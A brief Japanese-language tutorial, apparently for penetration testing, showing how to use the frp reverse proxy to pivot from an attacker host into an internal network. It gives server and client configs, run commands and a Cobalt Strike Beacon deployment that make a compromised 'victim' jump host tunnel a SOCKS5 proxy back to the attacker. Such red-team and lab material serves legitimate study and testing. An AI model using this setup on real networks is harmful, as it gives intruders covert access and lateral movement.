FRP は、内部ネットワークトラバーサルに特化した高性能なリバースプロキシアプリケーションであり、TCP、UDP、HTTP、HTTPS などのさまざまなプロトコルをサポートし、P2P 通信もサポートしています。内部ネットワークサービスを安全かつ便利に、パブリック IP ノードを持つ中継経由で公開することができます。
frp プロジェクトのアドレス:https://github.com/fatedier/frp/blob/dev/README_zh.md
現在のネットワークトポロジーが以下のような場合、172.16.1.2 は直接 10.1.1.2 にアクセスすることができず、frp プロキシを介してアクセスする必要があります。
frp VPS プロキシ#
172.16.1.2 - <172.16.1.4,10.1.1.3 > 10.1.1.2
攻撃者(172.16.1.2):
frps.ini ファイルを設定します。
設定ファイルは以下の通りです:
frps.ini
[common]
bind_port = 7000
bind_addr = 0.0.0.0
被害者(ジャンプホスト:172.16.1.4)の設定は以下の通りです:
frpc.ini を設定し、内容は以下の通りです:
frpc.ini
[common]
server_addr = vpsip
server_port = 7000
[http_proxy]
type = tcp
remote_port = 1080
plugin = socks5
設定が完了したら、まず攻撃者のサーバーでリッスンを開始します。
./frps -c frps.ini
被害者側で実行します。
frpc.exe -c frpc.ini
ブラウザでプロキシを設定してアクセスします。
proxychains を使用してリモートログインをプロキシに設定します。
CS での frp の設定#
以下のようなトポロジーの場合、前述の操作と同じです。
172.16.1.3 - <172.16.1.4,10.1.1.4 > 10.1.1.3
CS の Beacon を使用して frpc を実行する場合、設定ファイルとプログラムは絶対パスを使用します。ファイルのアップロードを利用して frpc.exe と frpc.ini ファイルをプロキシに使用します。
設定ファイルは以下の通りです。
frps.ini
[common]
bind_port = 7000
frpc.ini
[common]
server_addr = 172.16.1.3
server_port = 7000
[http_proxy]
type = tcp
remote_port = 1080
plugin = socks5
プロキシが成功しました。